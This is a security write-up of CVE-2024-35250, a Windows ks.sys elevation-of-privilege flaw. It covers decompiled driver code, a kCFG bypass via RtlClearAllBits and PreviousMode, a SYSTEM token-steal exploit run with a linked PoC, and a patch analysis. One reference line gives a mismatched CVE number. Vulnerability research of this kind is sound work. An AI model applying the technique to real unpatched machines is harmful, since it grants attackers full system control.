CVE-2024-35250 - Windows Kernel Streaming Driver Elevation of Privilege Vulnerability

Ghostbyt3
Authored by
Ghostbyt3

A logic flaw in the Microsoft Kernel Streaming driver (ks.sys) cIOCTL_KS_PROPERTY handler: its UnserializePropertySet path copies a user-provided request and re-issues the IOCTL in kernel mode. By sending a specially crafted IOCTL_KS_PROPERTY request with the KSPROPERTY_TYPE_UNSERIALIZESET flag, an attacker can trigger this path and force the driver to execute the IOCTL again with Irp->RequestorMode = Kernel, effectively granting an arbitrary kernel-mode IOCTL primitive for privilege escalation.

CVE-2025-30084: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-35250
Vulnerability Type: Untrusted Pointer Dereference
Tested On: Windows 11 23H2
Driver Version: ks.sys - 10.0.22621.2506

Vulnerability analysis

The vulnerability exists in the KspPropertyHandler() function, which is responsible for handling the IOCTL call made to the ks.sys driver. The KspPropertyHandler() function invokes the UnserializePropertySet() function, passing down the Irp. This function is called only if v24 is set to 4096 (0x1000), which corresponds to the flags defined in KSPROPERTY for IOCTL_KS_PROPERTY.

NTSTATUS __fastcall KspPropertyHandler(
        PIRP Irp,
        unsigned int a2,
        struct _LIST_ENTRY *a3,
        __int64 (__fastcall *a4)(_QWORD, _QWORD, _QWORD),
        int a5,
        __int64 a6,
        unsigned int a7)
{
  struct _LIST_ENTRY *v7; // r11
  struct _IO_STACK_LOCATION *CurrentStackLocation; // rdi

[::]

  if ( v24 <= 0x2000 )
  {
    if ( v24 != 0x2000 )
    {
      if ( v24 == 256 )
        return 0;
      if ( v24 != 512 )
      {
        if ( v24 == 2048 )
          return SerializePropertySet(Irp, v22, (__int64)v7, v28);
        if ( v24 == 4096 )
          return UnserializePropertySet(Irp, v22, (__int64)v7); // Vulnerable function call
        goto LABEL_99;
      }

[::]

The flag value, as confirmed from ReactOS, indicates that if KSPROPERTY→Flags is set to KSPROPERTY_TYPE_UNSERIALIZESET, the UnserializePropertySet() function is invoked.

Inside the UnserializePropertySet() function, a NonPaged-NoExecute pool is allocated, and the user input buffer is then copied into this newly allocated region. It subsequently calls the KsSynchronousIoControlDevice() function with the user inputs (InBuffer, OutBuffer). This function performs another IOCTL call using the same IoControlCode as an argument. Additionally, the second argument is RequestorMode which is hardcoded to KernelMode (0), and this is where things start to go wrong.

__int64 __fastcall UnserializePropertySet(IRP *irp, __int64 a2, __int64 a3)
{
  _QWORD *SystemBuffer; // rdi
  struct _IO_STACK_LOCATION *CurrentStackLocation; // r13
  unsigned int OutputBufferLength; // ebx
  _DWORD *InBuffer; // rsi
  int v9; // r14d
  char *v10; // rdi
  unsigned int v11; // ebx
  char *v12; // r15
  unsigned int v13; // ebx
  char *OutBuffer; // rdi
  ULONG OutSize; // eax
  NTSTATUS v16; // r12d
  __int64 v17; // rax
  ULONG InSize; // [rsp+88h] [rbp+10h]
  ULONG BytesReturned; // [rsp+98h] [rbp+20h] BYREF

  if ( *(_DWORD *)(a2 + 16) )
    return 3221225485LL;
  SystemBuffer = irp->AssociatedIrp.SystemBuffer;
  CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
  InSize = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
  OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
  InBuffer = ExAllocatePoolWithTag(NonPagedPoolNx, InSize, 0x7070534Bu); // Allocates a NonPaged-NoExecute pool
  if ( !InBuffer )
    return 3221225626LL;
  if ( OutputBufferLength < 0x14 )
  {
LABEL_23:
    ExFreePoolWithTag(InBuffer, 0);
    return 3221225990LL;
  }
  else
  {
    if ( **(_QWORD **)a3 != *SystemBuffer || *(_QWORD *)(*(_QWORD *)a3 + 8LL) != SystemBuffer[1] )
    {
LABEL_22:
      ExFreePoolWithTag(InBuffer, 0);
      return 3221225485LL;
    }
    memmove(InBuffer, CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, InSize); // Copies the user input buffer to the newly allocated region
    InBuffer[5] = 2;
    v9 = *((_DWORD *)SystemBuffer + 4);
    v10 = (char *)SystemBuffer + 20;
    v11 = OutputBufferLength - 20;
    while ( v11 && v9 )
    {
      if ( v11 < 0x20 )
        goto LABEL_23;
      v12 = v10;
      if ( *((_DWORD *)v10 + 5) )
        goto LABEL_22;
      InBuffer[4] = *((_DWORD *)v10 + 6);
      v13 = v11 - 32;
      OutBuffer = v10 + 32;
      OutSize = *((_DWORD *)v12 + 7);
      if ( OutSize > v13 )
        goto LABEL_23;
      v16 = KsSynchronousIoControlDevice( // Vulnerable IOCTL call
              CurrentStackLocation->FileObject,
              0, // RequestorMode as KernelMode (0)
              CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode,
              InBuffer,
              InSize,
              OutBuffer,
              OutSize,
              &BytesReturned);
      if ( v16 < 0 )
      {
        ExFreePoolWithTag(InBuffer, 0);
        return (unsigned int)v16;
      }
      v17 = *((unsigned int *)v12 + 7);
      if ( (unsigned int)v17 < v13 )
      {
        v17 = ((_DWORD)v17 + 3) & 0xFFFFFFFC;
        *((_DWORD *)v12 + 7) = v17;
        if ( (unsigned int)v17 >= v13 )
          goto LABEL_23;
      }
      v10 = &OutBuffer[v17];
      v11 = v13 - v17;
      --v9;
    }
    ExFreePoolWithTag(InBuffer, 0);
    if ( v11 )
      return 3221225476LL;
    else
      return v9 != 0 ? 0xC0000004 : 0;
  }
}

The purpose of the KsSynchronousIoControlDevice() function is to create an IRP with the user supplied input with RequestorMode as KernelMode (0) and send it to the driver associated with the specified device object. This means it makes an IOCTL call (IOCTL_KS_PROPERTY) as KernelMode. If this behavior can be abused, it may allow the execution of higher-privileged operations.

NTSTATUS __stdcall KsSynchronousIoControlDevice(
        PFILE_OBJECT FileObject,
        KPROCESSOR_MODE RequestorMode,
        ULONG IoControl,
        PVOID InBuffer,
        ULONG InSize,
        PVOID OutBuffer,
        ULONG OutSize,
        PULONG BytesReturned)
{
  __int64 v12; // rdx
  PDEVICE_OBJECT RelatedDeviceObject; // rsi
  PIRP v14; // rax
  IRP *v15; // rbx
  struct _IO_STACK_LOCATION *CurrentStackLocation; // rax
  NTSTATUS Status; // edx
  PFAST_IO_DISPATCH FastIoDispatch; // rax
  unsigned __int8 (__fastcall *FastIoDeviceControl)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _QWORD, _QWORD); // rax
  struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-48h] BYREF
  struct _KEVENT Event; // [rsp+60h] [rbp-38h] BYREF

  memset(&Event, 0, sizeof(Event));
  IoStatusBlock = 0LL;
  RelatedDeviceObject = IoGetRelatedDeviceObject(FileObject);
  if ( (RequestorMode || !ExGetPreviousMode())
    && (FastIoDispatch = RelatedDeviceObject->DriverObject->FastIoDispatch) != 0LL
    && (FastIoDeviceControl = (unsigned __int8 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _QWORD, _QWORD))FastIoDispatch->FastIoDeviceControl) != 0LL
    && (LOBYTE(v12) = 1,
        FastIoDeviceControl(
          FileObject,
          v12,
          InBuffer,
          InSize,
          OutBuffer,
          OutSize,
          IoControl,
          &IoStatusBlock,
          RelatedDeviceObject)) )
  {
    *BytesReturned = IoStatusBlock.Information;
    return IoStatusBlock.Status;
  }
  else
  {
    KeInitializeEvent(&Event, NotificationEvent, 0);
    v14 = IoBuildDeviceIoControlRequest( // Creates an IRP with user inputs
            IoControl,
            RelatedDeviceObject,
            InBuffer,
            InSize,
            OutBuffer,
            OutSize,
            0,
            &Event,
            &IoStatusBlock);
    v15 = v14;
    if ( !v14 )
      return -1073741670;
    v14->RequestorMode = RequestorMode; // KernelMode (0)
    v14->Tail.Overlay.OriginalFileObject = FileObject;
    ObfReferenceObject(FileObject);
    CurrentStackLocation = v15->Tail.Overlay.CurrentStackLocation;
    v15->Flags |= 4u;
    CurrentStackLocation[-1].FileObject = FileObject;
    Status = IofCallDriver(RelatedDeviceObject, v15); // Sends an IRP to the driver associated with a specified device object.
    if ( Status == 259 )
    {
      KeWaitForSingleObject(&Event, Suspended, 0, 0, 0LL);
      Status = IoStatusBlock.Status;
    }
    *BytesReturned = IoStatusBlock.Information;
    return Status;
  }
}

From the above analysis, it is understood that it calls back the same IOCTL, but it does not go directly to ks.sys. Instead, ksthunk.sys acts as the entry point in Kernel Streaming. ksthunk.sys is the Microsoft Kernel Streaming WOW64 Thunk Service system driver. Its function is straightforward: it converts 32-bit requests from a WoW64 process into 64-bit requests, enabling the underlying driver to handle them without additional processing for 32-bit structures. Once converted, the request is then passed to the ks.sys driver.

In the CKSThunkDevice::DispatchIoctl function of ksthunk.sys, which serves as the IOCTL handler, it first checks whether the IRP request originates from a 32-bit process. If it does not, it then verifies whether the IoControlCode is 0x2F0003 (IOCTL_KS_PROPERTY). If this condition is true, it calls the CKSThunkDevice::CheckIrpForStackAdjustmentNative function.

__int64 __fastcall CKSThunkDevice::DispatchIoctl(CKernelFilterDevice *a1, IRP *IRP, unsigned int a3, int *a4)
{
  struct _IO_STACK_LOCATION *CurrentStackLocation; // rsi
  struct CKernelFilterFile *v9; // rax
  __int64 v11; // r8
  __int64 v12; // rcx

  CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
  v9 = CKernelFilterDevice::FileObjectToFilterFile(a1, IRP);
  if ( v9 )
    return (*(__int64 (__fastcall **)(struct CKernelFilterFile *, IRP *, _QWORD, int *))(*(_QWORD *)v9 + 40LL))(
             v9,
             IRP,
             a3,
             a4);
  if ( IoIs32bitProcess(IRP) && IRP->RequestorMode )
  {
    if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 3080195 )
      return CKSAutomationThunk::ThunkPropertyIrp((char *)a1 + 64, IRP, v11, a4);
    v12 = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode - 3080199;
    if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 3080199 )
      return CKSAutomationThunk::ThunkEnableEventIrp(v12, IRP, v11, a4);
    if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 3080203 )
      return CKSAutomationThunk::ThunkDisableEventIrp(v12, IRP, v11, a4);
  }
  else if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 0x2F0003 )
  {
    return CKSThunkDevice::CheckIrpForStackAdjustmentNative((__int64)a1, IRP, v11, a4);
  }
  return 1LL;
}

The CKSThunkDevice::CheckIrpForStackAdjustmentNative function checks if the first member of the user input buffer (Type3InputBuffer) matches a specific GUID. If this condition is met, it proceeds to evaluate the IRP->RequestorMode. When the request originates from UserMode (1), the function returns the error code 0xC0000010 (STATUS_INVALID_DEVICE_REQUEST), indicating the device request is invalid for the target device. If the request comes from KernelMode (0), the function enters the else branch, where it treats the user input (Type3InputBuffer) as a function pointer and invokes it. This is exactly what gets invoked due to the vulnerability of hardcoding RequestorMode as 0 in ks.sys.

__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *IRP, __int64 a3, int *a4)
{
  struct _IO_STACK_LOCATION *CurrentStackLocation; // rsi
  unsigned int v8; // edi
  __int64 v9; // r13
  unsigned int InputBufferLength; // eax
  PVOID Type3InputBuffer; // rdx
  unsigned __int64 v12; // r14
  unsigned int *UserBuffer; // rcx
  int v14; // eax
  int v15; // eax
  char v16; // dl
  __int128 v18; // [rsp+30h] [rbp-68h]
  __int64 v19; // [rsp+40h] [rbp-58h]
  _QWORD v20[2]; // [rsp+48h] [rbp-50h] BYREF
  PFILE_OBJECT FileObject; // [rsp+58h] [rbp-40h]
  PFILE_OBJECT v22; // [rsp+60h] [rbp-38h]
  char v23; // [rsp+B0h] [rbp+18h]

  CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
  v8 = 1;
  v9 = *(_QWORD *)(a1 + 56);
  v23 = *(_BYTE *)(v9 + 76);
  InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
  if ( InputBufferLength >= 0x18 )
  {
    if ( IRP->RequestorMode )
      ProbeForRead(CurrentStackLocation->Parameters.CreatePipe.Parameters, InputBufferLength, 1u);
    Type3InputBuffer = CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer;
    v18 = *(_OWORD *)Type3InputBuffer;
    v19 = *((_QWORD *)Type3InputBuffer + 2);
    v12 = *(_QWORD *)Type3InputBuffer;
    if ( *(_OWORD *)Type3InputBuffer == *(_OWORD *)&GUID_2f2c8ddd_4198_4fac_ba29_61bb05b7de06
      && !(_DWORD)v19
      && (v19 & 0x200000000LL) != 0 )
    {
      if ( IRP->RequestorMode )
      {
        v14 = 0xC0000010;
      }
      else
      {
        UserBuffer = (unsigned int *)IRP->UserBuffer;
        v20[0] = 0LL;
        v20[1] = v9;
        FileObject = CurrentStackLocation->FileObject;
        v22 = FileObject;
        v14 = (*((__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD *))Type3InputBuffer + 7))(*UserBuffer, 0LL, v20); // Calls user-input pointer due to hardcoded RequestorMode as KernelMode (0) in ks.sys
      }

[::]

However, it does not calls the pointer directly, instead it goes through guard_dispatch_icall_fptr which is a part of Kernel Control-Flow Guard (kCFG). This will block if there is a call to user-space address from kernel-space. The easiest option is to call a nt function, this is where RtlClearAllBits comes into play. This routine sets all bits in a given bitmap variable to zero. We can use this to zero out the current process’s thread’s KTHREAD→PreviousMode, which helps bypass certain security checks and allows making other calls directly.

NTSYSAPI VOID RtlClearAllBits(
  [in] PRTL_BITMAP BitMapHeader
);

Exploit

Tested on: Windows 11 23H2
Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-35250

PS C:\Users\h4x\Desktop> whoami
desktop-3rgmcon\h4x
PS C:\Users\h4x\Desktop> .\CVE-2024-35250.exe
[+] Successfully opened DRM descrambler device!
[+] NT base address fffff8066ba00000
[+] Found EPROCESS of the current process FFFFBA81E8D130C0
[+] Found KTHREAD of the current thread FFFFBA81E57EE080
[+] Found EPROCESS of the system.exe FFFFBA81E0AB9040
[+] pFakeBitmapAddr = 0x0000000010000000
[+] Calling Kernel Streaming....
[+] Stealing system's Token..
[+] Replacing KTHREAD.PreviousMode as UserMode..
[+] Spawning shell as SYSTEM...
Microsoft Windows [Version 10.0.22631.3593]
(c) Microsoft Corporation. All rights reserved.

C:\Users\h4x\Desktop>whoami
nt authority\system

Patch Analysis

The patched version adds checks to ensure the KSPROPERTY→Set is not set to KSPROPSETID_DrmAudioStream.

STATUS __fastcall KspPropertyHandler(
        PIRP Irp,
        unsigned int a2,
        __int64 a3,
        __int64 (__fastcall *a4)(_QWORD, _QWORD, _QWORD),
        unsigned int a5,
        __int64 a6,
        unsigned int a7)
{
  __int64 v7; // rbx
  struct _IO_STACK_LOCATION *CurrentStackLocation; // r15
  unsigned int Options; // r10d

[::]

  if ( v23 == 4096 )
            {
              LOBYTE(v20) = (unsigned int)Feature_2849679676__private_IsEnabledDeviceUsage() != 0;
              if ( !v20
                || *(_QWORD *)v21 != *(_QWORD *)&KSPROPSETID_DrmAudioStream.Data1
                || *(_QWORD *)(v21 + 8) != *(_QWORD *)KSPROPSETID_DrmAudioStream.Data4 ) // Fix
              {
                return UnserializePropertySet((__int64)Irp, v21, v7);
              }

[::]

Acknowledgements

  • The original research on Kernel Streaming was conducted by Angelboy, and it can be found here.
  • The PoC was developed by Varwara, and the above PoC is based on it.